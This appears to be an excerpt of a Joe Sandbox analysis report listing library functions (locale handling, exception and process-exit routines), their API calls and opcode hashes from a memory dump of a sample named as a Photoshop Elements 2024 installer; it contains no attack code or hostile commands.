Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: Z$utf8
API String ID: 607553120-2328135999
Opcode ID: 7aabc17b4acaebf77ec7afb36ab22e8ee47476be9ad6bc7d2bbf88b1df376990
Instruction ID: ac288dd9426742b71226e0f4a0257d59dbe175c4c57b1a07d150f3d2f8aebd18
Opcode Fuzzy Hash: 7aabc17b4acaebf77ec7afb36ab22e8ee47476be9ad6bc7d2bbf88b1df376990
Instruction Fuzzy Hash: 7371FA31A00B06ABDB25AF75CC4ABEB7FA8FF85748F144429F605D7581EA70E980C758

Function 005418A5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(51CEB70F,2000000B,00000000,00000002,00000000,?,?,?,00541BC3,?,00000000), ref: 0054193E
GetLocaleInfoW.KERNEL32(51CEB70F,20001004,00000000,00000002,00000000,?,?,?,00541BC3,?,00000000), ref: 00541967
GetACP.KERNEL32(?,?,00541BC3,?,00000000), ref: 0054197C

Strings

OCP, xrefs: 005418F9
ACP, xrefs: 005418C3

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: e5f7c252d2dd98720b065b3329fec7e5a057aa55a9370c9041f745afcdf4f4e8
Instruction ID: 998d234890ecd118056ae69aa51bf0e59df0965fd1a21ce58dd4049fc1705853
Opcode Fuzzy Hash: e5f7c252d2dd98720b065b3329fec7e5a057aa55a9370c9041f745afcdf4f4e8
Instruction Fuzzy Hash: 3D21C532600901EADB388F54D911BE7BFA6BF55B58B568824E90ADB105F732DEC1C358

Function 00287FC0 Relevance: 4.9, APIs: 1, Strings: 1, Instructions: 1382COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0028815B

Part of subcall function 00241410: std::_Lockit::_Lockit.LIBCPMT ref: 0024144F
Part of subcall function 00241410: std::_Lockit::_Lockit.LIBCPMT ref: 00241471
Part of subcall function 00241410: std::_Lockit::~_Lockit.LIBCPMT ref: 00241491
Part of subcall function 00241410: std::_Lockit::~_Lockit.LIBCPMT ref: 00241636

Strings

0123456789-+Ee, xrefs: 0028828C

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID: 0123456789-+Ee
API String ID: 3053331623-1347306980
Opcode ID: bcfa4bbf90a14cd053cb75238909369fe218f90af898a82fdabb54a469703c3d
Instruction ID: a262649e9e3e1325582eeccccf79be375a621ec364cd7cf37debe13e252db62d
Opcode Fuzzy Hash: bcfa4bbf90a14cd053cb75238909369fe218f90af898a82fdabb54a469703c3d
Instruction Fuzzy Hash: ABC2D038612246CFDB24DF68C440BA9BBF1BF56304FA88599D4959B3D2DB31EC56CB10

Function 0054152C Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00536413: GetLastError.KERNEL32(00000002,00000000,00000006,0051DC92,00000000,00000000,00000002,?,0053C9D9,00000000,00000000,?,00000000,00000002), ref: 00536418
Part of subcall function 00536413: SetLastError.KERNEL32(00000000,00000002,000000FF,?,0053C9D9,00000000,00000000,?,00000000,00000002), ref: 005364B6

Part of subcall function 00536413: _free.LIBCMT ref: 00536475
Part of subcall function 00536413: _free.LIBCMT ref: 005364AB

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00541580
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 005415CA
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00541690

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: InfoLocale$ErrorLast_free
String ID:
API String ID: 3140898709-0
Opcode ID: 6fec1e9cad5197f67b50d1bd20cb95f80ccdf6e26c617c6d26eab2f54664e7de
Instruction ID: ddd13a931e206e809d43cad52cf3eff255a1bb0100a3fddef03bf3648d6ccf78
Opcode Fuzzy Hash: 6fec1e9cad5197f67b50d1bd20cb95f80ccdf6e26c617c6d26eab2f54664e7de
Instruction Fuzzy Hash: 1C61BF71900A079FEB289F28CD82BEA7BA8FF44308F148179E905C6985E774D9C5CB58

Function 0052142C Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00521524
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 0052152E
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 0052153B

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: b84f5377e7108cf01bb2251bff6472f62e16fc40e01806e2b68ad9497d6c8fc5
Instruction ID: bf106f155dcc7561494c2ff3bb37a5701d9756067c191a0eb8c64a8da5be34f5
Opcode Fuzzy Hash: b84f5377e7108cf01bb2251bff6472f62e16fc40e01806e2b68ad9497d6c8fc5
Instruction Fuzzy Hash: 6931D274901229ABCF21DF69D9897CDBBB8BF59310F5041EAE40CA6290E7749F858F44

Function 005311C5 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,005311C4,?,00000000,?,?,?,0053C9D9), ref: 005311E7
TerminateProcess.KERNEL32(00000000,?,005311C4,?,00000000,?,?,?,0053C9D9), ref: 005311EE
ExitProcess.KERNEL32 ref: 00531200

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 12f760cd992b790e3ba001a84b57e67040712691bcc430b014a8ff0377ec1ef4
Instruction ID: 33aaba58218e463f3337d1a7d1e5f259b57dd102abfd161cdb5e472dc419cc4e
Opcode Fuzzy Hash: 12f760cd992b790e3ba001a84b57e67040712691bcc430b014a8ff0377ec1ef4
Instruction Fuzzy Hash: 8DE08C31000649EFCF116F28CC0EA893F29FB56341F004414FA05C6531CB75EC81EB50

Function 00526FA0 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d343b2740a6acd67858a7f242a0350f6b49f9fe32836a3dadb58b1a9f3dee321
Instruction ID: d46d9f6a5e5c9471c6f155b05f1c5753053f7a5fe7bba80224ceb4d299163316
Opcode Fuzzy Hash: d343b2740a6acd67858a7f242a0350f6b49f9fe32836a3dadb58b1a9f3dee321
Instruction Fuzzy Hash: 4BF16171E052299FDF14CFA8D8806AEBBF1FF89314F158269E819A7381D730AD01CB94

Function 002898A0 Relevance: 2.6, Strings: 1, Instructions: 1337COMMON

Download Yara Rule

Strings

0123456789ABCDEFabcdef-+XxPp, xrefs: 0028998D

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: 0123456789ABCDEFabcdef-+XxPp
API String ID: 593203224-3606100449
Opcode ID: 73355174f2697e3652da35dbc81635ec8254b09110087e3231022f12e03c0884
Instruction ID: 3123ce485ea6566f50507ebe2ffd61988bb77dab4ce7b0080f8217ab83964e4c
Opcode Fuzzy Hash: 73355174f2697e3652da35dbc81635ec8254b09110087e3231022f12e03c0884
Instruction Fuzzy Hash: 23C2AF38626246CFEB25DF28C440BA9BBF1BF16304F28419ED4958B2D2D776DC96CB11

Function 005393B8 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,005393B3,?,?,00000008,?,?,005454C4,00000000), ref: 005395E5

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: fed23b86c169c7d727d185859ee075ba00bdf57a0e1a9102a6e3bf4c8b4a8bf1
Instruction ID: 9a4cc91b194ade1047b04ace08ac6ce7e582266603fbb02aebbc9d50ca42657b
Opcode Fuzzy Hash: fed23b86c169c7d727d185859ee075ba00bdf57a0e1a9102a6e3bf4c8b4a8bf1
Instruction Fuzzy Hash: 28B13BB1610609DFDB15CF28C48AB657FE0FF45364F258658E89ACF2A1C375E992CB40

Function 0054177F Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00536413: GetLastError.KERNEL32(00000002,00000000,00000006,0051DC92,00000000,00000000,00000002,?,0053C9D9,00000000,00000000,?,00000000,00000002), ref: 00536418
Part of subcall function 00536413: SetLastError.KERNEL32(00000000,00000002,000000FF,?,0053C9D9,00000000,00000000,?,00000000,00000002), ref: 005364B6

Part of subcall function 00536413: _free.LIBCMT ref: 00536475
Part of subcall function 00536413: _free.LIBCMT ref: 005364AB

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 005417D3

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ErrorLast_free$InfoLocale
String ID:
API String ID: 2003897158-0
Opcode ID: 4ff0307aeb69386da22fd21e88c10ce830a85f31a6dc52cf0be03b051fc06f4f
Instruction ID: 3c38dbf7fce3cacc27463ca3cfbfbca7bece1c7d19a80984d5015754d49c3892
Opcode Fuzzy Hash: 4ff0307aeb69386da22fd21e88c10ce830a85f31a6dc52cf0be03b051fc06f4f
Instruction Fuzzy Hash: CE21C132910607ABEF289E64DC55AFA3BACFF44304F14007AF901C6141EB35AD84C758

Function 00541406 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00536413: GetLastError.KERNEL32(00000002,00000000,00000006,0051DC92,00000000,00000000,00000002,?,0053C9D9,00000000,00000000,?,00000000,00000002), ref: 00536418
Part of subcall function 00536413: SetLastError.KERNEL32(00000000,00000002,000000FF,?,0053C9D9,00000000,00000000,?,00000000,00000002), ref: 005364B6

EnumSystemLocalesW.KERNEL32(0054152C,00000001,00000000,?,?,?,00541B5A,00000000,?,?,?), ref: 00541478

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: b8d718cd8565e2ff502b4e9bddc7ee384ae6366d4f6a8770b8c3dc88855bb1e7
Instruction ID: 605a907720f19aea523087762e77440ddda892d0f2f0a313f82d044c6b0f1af7
Opcode Fuzzy Hash: b8d718cd8565e2ff502b4e9bddc7ee384ae6366d4f6a8770b8c3dc88855bb1e7
Instruction Fuzzy Hash: 0511C23A604B055FDF189F3998916FABF92FB8035CB14442CE94787A40E771A982CB44

Function 005419AB Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00536413: GetLastError.KERNEL32(00000002,00000000,00000006,0051DC92,00000000,00000000,00000002,?,0053C9D9,00000000,00000000,?,00000000,00000002), ref: 00536418
Part of subcall function 00536413: SetLastError.KERNEL32(00000000,00000002,000000FF,?,0053C9D9,00000000,00000000,?,00000000,00000002), ref: 005364B6

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00541829,00000000,00000000,?), ref: 005419D7

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: ec51d4b6e41590afd00c1f48f419194657735cf9115a3a25266af54614e2ca03
Instruction ID: 1c1a30b83c1b3d15f7b33827e6cc98efcac19f5625c080cdd883ab856a4cd30e
Opcode Fuzzy Hash: ec51d4b6e41590afd00c1f48f419194657735cf9115a3a25266af54614e2ca03
Instruction Fuzzy Hash: 4CF0A932A015127BDF285B6588057FA7F54FB80758F154429EC46B3140EA74FD82C6D4

Function 00541314 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00536413: GetLastError.KERNEL32(00000002,00000000,00000006,0051DC92,00000000,00000000,00000002,?,0053C9D9,00000000,00000000,?,00000000,00000002), ref: 00536418
Part of subcall function 00536413: SetLastError.KERNEL32(00000000,00000002,000000FF,?,0053C9D9,00000000,00000000,?,00000000,00000002), ref: 005364B6

Part of subcall function 00536413: _free.LIBCMT ref: 00536475
Part of subcall function 00536413: _free.LIBCMT ref: 005364AB

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,?,00000000,?), ref: 00541368

Strings

Z, xrefs: 00541190
utf8, xrefs: 005412D7

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ErrorLast_free$InfoLocale
String ID: Z$utf8
API String ID: 2003897158-2328135999
Opcode ID: 0e4c10755c5fc58a1121cd1c6566cae2d7d2cc1e95abcd1d59e8e6beb6b58476
Instruction ID: 8b8461fcf9568ebeb2fa06b4a8b5f9ca8acb738282873111935be8495a554877
Opcode Fuzzy Hash: 0e4c10755c5fc58a1121cd1c6566cae2d7d2cc1e95abcd1d59e8e6beb6b58476
Instruction Fuzzy Hash: 31F02832A10106ABDB14AF74DC4AAFA37E8FF85314F00417DF506D7281EA74AD458750

Function 005414A1 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00536413: GetLastError.KERNEL32(00000002,00000000,00000006,0051DC92,00000000,00000000,00000002,?,0053C9D9,00000000,00000000,?,00000000,00000002), ref: 00536418
Part of subcall function 00536413: SetLastError.KERNEL32(00000000,00000002,000000FF,?,0053C9D9,00000000,00000000,?,00000000,00000002), ref: 005364B6

EnumSystemLocalesW.KERNEL32(0054177F,00000001,?,?,?,?,00541B1E,?,?,?,?), ref: 005414EB

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 268604521921050ddb68c1a196d732d75f075e1ba685a020b36ca2cb58ffb8d8
Instruction ID: b9a00f3704991f747fffec7359d7d8421e0c9b4c1de17bd2822364bb42460af8
Opcode Fuzzy Hash: 268604521921050ddb68c1a196d732d75f075e1ba685a020b36ca2cb58ffb8d8
Instruction Fuzzy Hash: 6DF022362007052FCB249F3898C5AAA7FA1FB8036CF14802CF9024B680D6B1AC82CA08

Function 005379D7 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005325B9: RtlEnterCriticalSection.NTDLL(-006B1850), ref: 005325C8

EnumSystemLocalesW.KERNEL32(005379CA,00000001,0069F6F0,0000000C,00537E35,00000000), ref: 00537A0F

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 3358fdfd858c93653d0d469a2a2559559b2a040dda81c6440e65831af724e690
